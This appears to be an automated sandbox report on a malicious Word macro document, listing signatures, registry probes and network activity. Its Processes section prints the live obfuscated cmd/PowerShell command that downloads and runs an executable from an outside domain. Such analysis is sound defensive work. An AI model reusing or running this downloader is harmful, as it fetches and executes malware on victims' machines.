Malware Analysis Report

2025-08-11 01:22

Sample ID 240327-rp79ashb2y
Target bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
SHA256 bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5
Tags
macro
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5

Threat Level: Known bad

The file bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5 was found to be: Known bad.

Malicious Activity Summary

macro

Process spawned unexpected child process

Suspicious Office macro

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-27 14:23

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-27 14:23

Reported

2024-03-27 14:23

Platform

win10v2004-20240226-en

Max time kernel

30s

Max time network

35s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcbe3da40fb46c6ae214a3e2b07ffeea422c9e8a937ed3caab5ac36cc0b61ba5.doc" /o ""

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /k ^powe^rsh^ell -E^x^ecuti^onPo^licy by^pass -n^oprofi^le -wi^nd^ows^tyle hi^dden $wc = New-Object System^.Net.Webclient;$wc.Hea^ders.Ad^d('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.Do^wnlo^adFi^le('ht^tp://sacrificery.top/ll/ldd.php','%TEMP%.e^xe') & IF EXIST %TEMP%.e^xe ( s^ta^rt %TEMP%.e^xe) & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden $wc = New-Object System.Net.Webclient;$wc.Headers.Add('User-Agent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');$wc.DownloadFile('http://sacrificery.top/ll/ldd.php','C:\Users\Admin\AppData\Local\Temp.exe')

Network

Country Destination Domain Proto
US 138.91.171.81:80 tcp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 sacrificery.top udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 136.71.105.51.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 100.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp

Files

memory/4064-0-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

memory/4064-1-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

memory/4064-2-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

memory/4064-3-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-5-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-4-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

memory/4064-6-0x00007FFC29450000-0x00007FFC29460000-memory.dmp

memory/4064-7-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-8-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-9-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-10-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-11-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-12-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-13-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp

memory/4064-14-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-15-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-16-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-19-0x00007FFC26E40000-0x00007FFC26E50000-memory.dmp

memory/4064-18-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-17-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-20-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-21-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-22-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-30-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

memory/4064-31-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30wxasno.vz2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3020-42-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp

memory/3020-41-0x0000013ACFD50000-0x0000013ACFD72000-memory.dmp

memory/3020-43-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp

memory/3020-44-0x0000013ACFF70000-0x0000013ACFF80000-memory.dmp

memory/3020-47-0x00007FFC3B710000-0x00007FFC3C1D1000-memory.dmp

memory/4064-60-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-61-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-62-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-63-0x00007FFC693D0000-0x00007FFC695C5000-memory.dmp

memory/4064-64-0x0000018DB0880000-0x0000018DB1080000-memory.dmp

memory/4064-65-0x0000018DB0880000-0x0000018DB1080000-memory.dmp